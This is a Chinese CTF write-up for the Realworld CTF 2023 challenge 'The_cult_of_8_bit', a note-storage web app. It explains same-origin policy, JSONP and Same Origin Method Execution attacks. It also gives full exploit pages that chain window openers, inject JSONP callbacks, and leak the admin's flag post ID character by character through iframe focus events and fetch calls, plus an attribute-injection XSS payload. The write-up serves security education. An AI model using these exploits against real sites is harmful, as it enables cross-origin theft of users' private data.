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[原创]Realworld CTF 2023 The_cult_of_8_bit详解

2023-1-14 22:53 13818

[原创]Realworld CTF 2023 The_cult_of_8_bit详解

pank1s

2023-1-14 22:53

13818

前言

很难的题，

这题要用到的一些知识点

提前要了解的一些东西

关于同源策略

同源策略具体可以参见文档

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

这里主要介绍下跨源脚本 API 访问

Window

允许以下对 Window 属性的跨源访问：

方法

window.blur

window.close

window.focus

window.postMessage

属性

window.closed 只读。

window.frames 只读。

window.length 只读。

window.location 读/写。

window.opener 只读。

window.parent 只读。

window.self 只读。

window.top 只读。

window.window 只读。

某些浏览器允许访问除上述外更多的属性。

Location

允许以下对 Location 属性的跨源访问：

方法

location.replace

属性

HTMLAnchorElement.href 只写。

某些浏览器允许访问除上述外更多的属性。

方法
`window.blur`
`window.close`
`window.focus`
`window.postMessage`

属性
`window.closed`	只读。
`window.frames`	只读。
`window.length`	只读。
`window.location`	读/写。
`window.opener`	只读。
`window.parent`	只读。
`window.self`	只读。
`window.top`	只读。
`window.window`	只读。

方法
`location.replace`

属性
`HTMLAnchorElement.href`	只写。

window 对象表示的就是当前页面，字面意思，是 "根"

可以发现 window 对象的 opener top location frames focus() 等关键属性和方法我们都是可以跨域访问的，这就为我们后面解题提供了依据。

注意：像上面的那些属性和方法都是 window对象下的，意味着他们都是全局属性或全局方法，即可以类似这样直接访问，不需要使用 window. 来操作

//将window.location赋值为http://example.com，即重定向跳转到http://example.com
location = "http://example.com";
 
//获取到当前页面中name为test的iframe对象
let testIframe = window['test'];
//或
let testIframe = window.frames[0];//获取第0个iframe

对于上面的 opener 属性也很有趣，它指向当前窗口的打开者。

即 A 页面使用 open 方法打开了 B 页面，那么 B 页面的 opener 就指向了 A 页面的 window

注意：opener指向的是页面窗口，也就是说你页面的URL再怎么变，opener是不变的

图片描述

同样，对于 opener 对象内容的访问也要遵循同源策略

关于jsonp

jsonp的出现是为了解决一些前端的跨域问题。现浏览器一般情况下都要遵循同源策略，所以跨域传输数据就会比较麻烦，所以出现了jsonp这种东西，相关文档参考 https://zhuanlan.zhihu.com/p/24390509

简单来说下，就是像<script> 标签是支持跨域的，所以利用 <script> 标签来跨域获取到要执行的方法和参数，前端将获取到的方法和参数添加到 html 的 script 标签中从而解决跨域问题。而这里要说的题就是利用jsop跨域来进行 Same Orign Method Execution Attack （同源方法执行攻击）

SOME（Same Orign Method Execution）同源方法执行

这里大力推荐这篇论文，讲的非常详细

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf

这里大致说一下是怎么个回事

比如我前端要跨域获取一些数据，于是我前端可以这样写

http://example.com/

<html>
    <body>
        <a href="javascript:alert('hack')">hack</a>
        <script>
            function load_data(data) {
                console.log(data['data']);
            }
            let callback = new URLSearchParams(window.location.search).get('callback');
            let script = document.createElement("script");
            script.src = "http://otherSite.com/endpoint?callback=" + callback;
            document.head.appendChild(script);
        </script>
    </body>
</html>

我们访问 http://example.com/?callback=load_data

后端 http://otherSite.com/endpoint?callback=load_data 访问返回了这样的数据

1	`load_data({"data":"data"})`

那么利用jsonp在 http://example.com/ 成功跨获取到了 http://otherSite.com/ 这个域的数据，并执行 load_data 方法在控制台打印出结果。但如果我们把 callback 的参数改成其他方法，不就可以在前端执行一些方法了吗，虽然一般返回的方法内有参数，但像类似点击、表单提交、表单输入值篡改等JavaScript 函数，（例如 element.click()、privateForm.submit()、inputElement.stepUp/stepDown()、element.select()、element.focus ()、JsDefinedFunction()、jQueryFunc()等，这些方法给他参数他也能正常执行。

像上面的例子，我们如果发送这样的url

http://example.com/?callback=document.body.firstChild.click

那么就会发现成功点击了 <a> 标签从而弹窗 "hack"

XHR

用法不过多做介绍，这里附上参考文档

https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest

这里说一些比较少见东西，就是在什么情况下会其 open 方法会报错，发现主要有以下几种情况

传递给第一个参数 (请求方法) 的值不是有效的 HTTP 方法（例如 "GET", "POST" 等）。
传递给第二个参数 (请求 URL) 的值不是有效的 URL。
传递给第三个参数 (是否异步) 的值不是一个布尔值。
使用了特征策略 sync-xhr 'none' 禁止了xhr api

关于上面第二条不是有效的 URL 可能有以下几种情况：

不符合 URL 格式，例如缺少协议部分 (http:// 或 https://) 或者域名部分。
使用非法字符
使用不正确的编码，例如使用百分号编码的字符不符合 UTF-8 格式。
使用无效的端口号，例如端口号小于 0 或大于 65535。

例：

// 使用非法字符如中间加入空格，%00等
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.ex ample.com");
xhr.send()//在send时报错
 
// 使用不正确的编码
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.example.com/%00");//在open时就会报错
xhr.send()
 
// 使用无效的端口号
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.example.com:70000");//在open时就会报错
xhr.send()

iframe与特征策略

iframe参考文档

https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe

有关iframe的一些黑魔法

https://blog.huli.tw/2022/04/07/iframe-and-window-open/

iframe 就是新开了一个页面，iframe的父子窗口之间使用js交互同样必须遵循同源策略，若想跨域操作可以用 postMessage

iframe有个 allow 属性，用于为<iframe>指定其特征策略，所以我们完全可以限制iframe页面的一些功能，像可以禁掉其中的一些api，比如 xhr。

题目分析

尝试csrf（失败的方案）

好了，说了这么多终于要回到正题了。

题目给了源码，是一个简单的 expressjs 笔记存储服务，源码很长，需要慢慢审。这里说下关键的地方

首先xssbot是以admin登录后访问我们给的url，没啥好说的。

后端有这么几个路由

app.get("/login/", mw.requiresNoLogin, (req, res) => res.render("login"));
app.get("/register/", mw.requiresNoLogin, (req, res) => res.render("register"));
 
app.get("/report/", mw.requiresLogin, (req, res) => res.render("report"));
app.get("/post/", (req, res) => res.render("post"));
app.get("/", (req, res) => res.render("home"));

可以发现 / 和/post/ 者两个页面没有校验 csrftoken和登录情况。

db.js 中

(() => {
    let flagId = crypto.randomUUID();
    console.log(`flag post ID: ${flagId}`);
 
    posts.set(flagId, {
        name: "Flag",
        body: process.env.FLAG || "flag{test_flag}"
    });
 
    users.set("admin", Object.freeze({
        user: "admin",
        pass: sha256(process.env.ADMIN_PASSWORD || "password"),
        posts: Object.freeze([flagId]),
        todos: Object.freeze([])
    }));

flag对应着post id

所以只要我们知道对应的post id就可以通过 /post/ 路由不用登录直接拿到flag。

同时在 /create/post 路由中

router.post("/create/todo", [mw.csrfProtection, mw.requiresLogin], (req, res) => {
    let { text } = req.body;
 
    if (!text) {
        return res.redirect("/?msg=Missing text");
    }
 
    if (typeof text !== "string") {
        return res.redirect("/?msg=Missing text");
    }
 
    let isURL = false;
    try {
        new URL(text); // errors if not valid URL
        isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
    } catch {}
 
    req.user.todos.push({
        text, isURL
    });
 
    res.redirect("/");
});

可以看到对传来的text进行了过滤，拦截了以 javascript: 开头的 text

这里对应前端 home.ejs

<%_ user.todos.forEach(todo => { _%>
<%_ if (todo.isURL) { _%>
<li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
<%_ } else { _%>
<li class="has-text-left"><%= todo.text %></li>
<%_ } _%>
<%_ }); _%>

这里的绕过也很容易，给出这样的payload即可绕过

1	`http://a? onfocus=alert(123)` `id=x`

new URL("http://a? onfocus=alert(123) id=x") 不会报错

之后访问 http://localhost:12345/#x 获取到id为x的焦点事件即可xss

图片描述

但是，注意，这个点在这题并用不上。

首先题目使用了csrftoken，所以没法直接利用CSRF让xssbot向/api/create/todo 发送对应的xss payload来达到目的，其次还有重要的一点是这里

// Don't allow admin to make new posts / todos
router.use((req, res, next) => {
    if (req.user.user === "admin")  {
        return res.redirect("/?msg=Nice try");
    }
    next();
});

直接限制死了admin不可能向 /api/create/post 和 /api/create/todo 发送数据。

所以走csrf这条路是不行了。

利用 SOEM ATTACK 窃取post id

注意前端 post.ejs

window.onload = function() {
    const id = new URLSearchParams(window.location.search).get('id');
    if (!id) {
        return;
    }
 
    // Load post from POST_SERVER
    // Since POST_SERVER might be a different origin, this also supports loading data through JSONP
    const request = new XMLHttpRequest();
    try {
        request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
        request.send(null);
    }
    catch (err) { // POST_SERVER is on another origin, so let's use JSONP
        let script = document.createElement("script");
        script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
        document.head.appendChild(script);
        return;
    }
 
    load_post(JSON.parse(request.responseText));
}

这里可以发现，如果 try 捕获到了异常，就会使用 jsonp 技术来获取post相关信息。

后端处理

router.get("/post/:id", (req, res) => {
    let { id } = req.params;
 
    if (!id || typeof id !== "string") {
        return res.jsonp({
            success: false,
            error: "Missing id"
        });
    }
 
    if (!db.posts.has(id)) {
        return res.jsonp({
            success: false,
            error: "No post found with that id"
        });
    }
 
    let post = db.posts.get(id);
    return res.jsonp({
        success: true,
        name: post.name,
        body: post.body
    });
});

但前端 post.ejs 中的 POST_SERVER 定死了，我们没法去修改它。

所以可以考虑从查询参数 id 中入手，想办法让我们随心修改 callback 参数从而实现 SOME 攻击。

这里解决的点有两个

让 open 或 send 方法出错从而让我们可以使用jsonp
要截获 url 查询参数中的 callback 参数

解决这两个点有两种不同的方案

方案一

思路来自 https://sh1yo.art/ctf/thecultof8bit/

上文说过，我们可以利用 %00 来让 open 方法报错

像这样的链接

1	`http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%00`

这个链接经过

1	`const` `id` `=` `new URLSearchParams(window.location.search).get('id');`

提取得到

1	`22121be0-5a1f-4cd7-be2d-be073a0cac22\x00`

最终经过 encodeURIComponent(id) 方法进行url编码后再拼接就成了

1	`/api/post/22121be0-5a1f-4cd7-be2d-be073a0cac22%00`

这个url放到 open 方法中正好是会报错的，解决了第一个点。

对于第二个点可以这样构造

1	`http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23%00`

不过多解释了，看图就明白了

图片描述

这样我们就可以随便控制 callback 参数来实现 SOME 攻击了。

方案二

思路来自 https://blog.maple3142.net/2023/01/08/real-world-ctf-2023-writeups/#the-cult-of-8-bit

这个思路也很巧妙

上文也说过，iframe可以通过 allow属性来设置一些特征策略，其中包括了 sync-xhr策略，可以在iframe中加载

1	`http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23`

同时设置其 allow="sync-xhr 'none'" 来禁用 xhr，使得try捕获异常从而跳转使用jsonp访问

这里截获 callback 参数同上，原理是一样的。

test2.html

<html>
  <body>
    <script>
      var iframe = document.createElement('iframe');
      iframe.src = "http://localhost:12345/post/?id=22121be0-5a1f-4cd7-be2d-be073a0cac22%3Fcallback=alert%23";
      iframe.allow = "sync-xhr 'none'";
      document.body.appendChild(iframe);
    </script>
  </body>
</html>

图片描述

上面两个方案之后的操作都是配合 SOME 攻击，利用 focus 事件 + iframe来逐位爆破post id。详细见下文题解。

题解

下文用到的知识点是SOME ATTACK，强烈建议先看论文 https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf

方案一

紧接着上文方案一，我们创建4个html文件

注意location虽然变了，但opener是不变的

a.html

<script>
    open("/b.html");//打开b.html
    location="http://localhost:12345/";//重定向到admin的主页面（含有post id）
</script>

a.html负责打开 /b.html 和将自身页面重定向到 http://localhost:12345/

b.html

<a id="default" href="#">default</a><!--默认聚焦点-->
<script>
    //生成对应的iframe
    //post id是uuid，范围是 0-9 a-f 和 -
    var charList = "0123456789abcdef-";//注意把数字放前面，应为window['4']和window[4]是一样的
    var resId = "";
 
    charList.split('').forEach(name => createIframe(name));
 
    function createIframe(name) {
 
        let tmpIframe = document.createElement('iframe');
        tmpIframe.name = name;//为iframe设置name属性
        document.body.appendChild(tmpIframe);
    }
 
    //监听焦点变化
    function listenFocus() {
 
        let activeFocusName = document.activeElement.name;
        if(activeFocusName) {//若监听到iframe焦点
            resId += activeFocusName;
            document.getElementById("default").focus();//初始化焦点
            fetch(`/res/${resId}`);
        }
    }
 
    setInterval(listenFocus, 100);
 
    open("/c.html");
</script>

b.html 负责创建 0123456789abcdef- 每个字符的iframe页面，同时创建焦点监听器监听焦点情况，如果监听到某个iframe的焦点则发送该iframe的name。之后打开 /c.html。注意 b.html 的 opener 指向 a页面(http://localhost:12345/)

c.html

<script>
    open("/d.html");
    //执行回调函数的页面
    location="http://localhost:12345/"
</script>

c.html页面的 location受 d.html 页面控制，是个自由页面，用于执行SOME攻击。注意c.html 的 opener 指向 b.html

d.html

<script>
    const selfPostId = "6202f8a2-463d-4754-9675-eecde65b619c";//自己页面随便给个postid
    var host = "http://localhost:12345";
 
    async function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
 
    async function main() {
 
        for(let i = 0; i < 36; i++) {
            let payload = `opener[opener.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].text[${i}]].focus`;
            opener.location = `${host}/post/?id=${selfPostId}?callback=${payload}%23%00`;
            await sleep(200);//时间根据情况调整
        }
    }
    setTimeout(main, 500);//等待所有页面加载完整后启动主程序
</script>

注意 d.html 的 opener 指向 c页面。该页面的为主启动页面，利用多级opener，结合SOME攻击和focus事件逐位爆破a页面的post id。

4个页面放服务器上，之后向xss bot发送 http://192.168.1.3:8000/a.html 爆破即可

图片描述

方案二

接上文题目分析的方案二

需要两个页面

index.html

<script>
    open('/exp.html');
    location = 'http://localhost:12345/';
</script>

exp.html

<a id="default" href="#">default</a>
<script>
    async function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
    const selfId = "0780dd9c-e326-4786-ad80-e0e9d032cb4a";//自己给个存在的post id
    const host = "http://localhost:12345";//题目地址
    const charList = "0123456789abcdef-";
    var resId = "";
 
    function createCharIframe(name) {
        var tmpIframe = document.createElement('iframe');
        tmpIframe.name = name;
        document.body.appendChild(tmpIframe);
    }
    charList.split('').forEach(name => createCharIframe(name));
 
    (function createChallengeIframe() {
        var challengeIframe = document.createElement('iframe');
        challengeIframe.name = "challenge";
        challengeIframe.src = host;
        challengeIframe.allow = "sync-xhr 'none'";//使用特征策略禁止xhr
        document.body.appendChild(challengeIframe);
    })();
 
    async function exploit() {
 
        var challenge = window['challenge'];
        for(let i = 0; i < 36; i++) {
            //payload
            let payload = `top[top.opener.document.body.children[1].childNodes[1].children[0].children[0].children[3].children[0].children[0].children[0].text[${i}]].focus`;
            challenge.location = `${host}/post/?id=${selfId}%3Fcallback=${payload}%23`;
            await sleep(200);//时间根据情况调整
        }
    }
 
    //监听焦点变化
    function listenFocus() {
 
        var activeFocusName = document.activeElement.name;
        if(activeFocusName) {//若监听到iframe焦点
            resId += activeFocusName;
            document.getElementById("default").focus();//初始化焦点
            fetch(`/res/${resId}`);
        }
    }
    setInterval(listenFocus, 100);
    sleep(2000);
    exploit();
 
</script>